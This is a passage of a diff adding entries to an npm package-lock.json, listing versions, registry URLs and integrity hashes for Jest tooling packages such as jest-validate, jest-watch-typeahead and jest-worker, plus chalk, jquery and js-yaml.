+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-validate": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz",
+      "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "camelcase": "^6.2.0",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "leven": "^3.1.0",
+        "pretty-format": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-watch-typeahead": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz",
+      "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==",
+      "requires": {
+        "ansi-escapes": "^4.3.1",
+        "chalk": "^4.0.0",
+        "jest-regex-util": "^28.0.0",
+        "jest-watcher": "^28.0.0",
+        "slash": "^4.0.0",
+        "string-length": "^5.0.1",
+        "strip-ansi": "^7.0.1"
+      },
+      "dependencies": {
+        "@jest/console": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz",
+          "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==",
+          "requires": {
+            "@jest/types": "^28.1.3",
+            "@types/node": "*",
+            "chalk": "^4.0.0",
+            "jest-message-util": "^28.1.3",
+            "jest-util": "^28.1.3",
+            "slash": "^3.0.0"
+          },
+          "dependencies": {
+            "slash": {
+              "version": "3.0.0",
+              "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+              "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+            }
+          }
+        },
+        "@jest/test-result": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz",
+          "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==",
+          "requires": {
+            "@jest/console": "^28.1.3",
+            "@jest/types": "^28.1.3",
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "collect-v8-coverage": "^1.0.0"
+          }
+        },
+        "@jest/types": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz",
+          "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==",
+          "requires": {
+            "@jest/schemas": "^28.1.3",
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^17.0.8",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "17.0.13",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.13.tgz",
+          "integrity": "sha512-9sWaruZk2JGxIQU+IhI1fhPYRcQ0UuTNuKuCW9bR5fp7qi2Llf7WDzNa17Cy7TKnh3cdxDOiyTu6gaLS0eDatg==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "emittery": {
+          "version": "0.10.2",
+          "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz",
+          "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-message-util": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz",
+          "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==",
+          "requires": {
+            "@babel/code-frame": "^7.12.13",
+            "@jest/types": "^28.1.3",
+            "@types/stack-utils": "^2.0.0",
+            "chalk": "^4.0.0",
+            "graceful-fs": "^4.2.9",
+            "micromatch": "^4.0.4",
+            "pretty-format": "^28.1.3",
+            "slash": "^3.0.0",
+            "stack-utils": "^2.0.3"
+          },
+          "dependencies": {
+            "slash": {
+              "version": "3.0.0",
+              "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+              "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+            }
+          }
+        },
+        "jest-regex-util": {
+          "version": "28.0.2",
+          "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz",
+          "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw=="
+        },
+        "jest-util": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz",
+          "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==",
+          "requires": {
+            "@jest/types": "^28.1.3",
+            "@types/node": "*",
+            "chalk": "^4.0.0",
+            "ci-info": "^3.2.0",
+            "graceful-fs": "^4.2.9",
+            "picomatch": "^2.2.3"
+          }
+        },
+        "jest-watcher": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz",
+          "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==",
+          "requires": {
+            "@jest/test-result": "^28.1.3",
+            "@jest/types": "^28.1.3",
+            "@types/node": "*",
+            "ansi-escapes": "^4.2.1",
+            "chalk": "^4.0.0",
+            "emittery": "^0.10.2",
+            "jest-util": "^28.1.3",
+            "string-length": "^4.0.1"
+          },
+          "dependencies": {
+            "string-length": {
+              "version": "4.0.2",
+              "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+              "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+              "requires": {
+                "char-regex": "^1.0.2",
+                "strip-ansi": "^6.0.0"
+              }
+            },
+            "strip-ansi": {
+              "version": "6.0.1",
+              "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+              "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+              "requires": {
+                "ansi-regex": "^5.0.1"
+              }
+            }
+          }
+        },
+        "pretty-format": {
+          "version": "28.1.3",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz",
+          "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==",
+          "requires": {
+            "@jest/schemas": "^28.1.3",
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^18.0.0"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "18.2.0",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz",
+          "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w=="
+        },
+        "slash": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+          "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew=="
+        },
+        "string-length": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz",
+          "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==",
+          "requires": {
+            "char-regex": "^2.0.0",
+            "strip-ansi": "^7.0.1"
+          },
+          "dependencies": {
+            "char-regex": {
+              "version": "2.0.1",
+              "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz",
+              "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw=="
+            }
+          }
+        },
+        "strip-ansi": {
+          "version": "7.0.1",
+          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz",
+          "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==",
+          "requires": {
+            "ansi-regex": "^6.0.1"
+          },
+          "dependencies": {
+            "ansi-regex": {
+              "version": "6.0.1",
+              "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
+              "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA=="
+            }
+          }
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-watcher": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz",
+      "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==",
+      "requires": {
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "jest-util": "^27.5.1",
+        "string-length": "^4.0.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-worker": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+      "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+      "requires": {
+        "@types/node": "*",
+        "merge-stream": "^2.0.0",
+        "supports-color": "^8.0.0"
+      },
+      "dependencies": {
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "8.1.1",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+          "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jquery": {
+      "version": "3.6.1",
+      "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.1.tgz",
+      "integrity": "sha512-opJeO4nCucVnsjiXOE+/PcCgYw9Gwpvs/a6B1LL/lQhwWwpbVEVYDZ1FokFr8PRc7ghYlrFPuyHuiiDNTQxmcw==",
+      "peer": true
+    },
+    "js-sdsl": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/js-sdsl/-/js-sdsl-4.1.4.tgz",
+      "integrity": "sha512-Y2/yD55y5jteOAmY50JbUZYwk3CP3wnLPEZnlR1w9oKhITrBEtAxwuWKebFf8hMrPMgbYwFoWK/lH2sBkErELw=="
+    },
+    "js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+    },
+    "js-yaml": {
+      "version": "3.14.2",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
+      "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==",
+      "requires": {
+        "argparse": "^1.0.7",
+        "esprima": "^4.0.0"
+      }
+    },
+    "jsdom": {
+      "version": "16.7.0",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz",
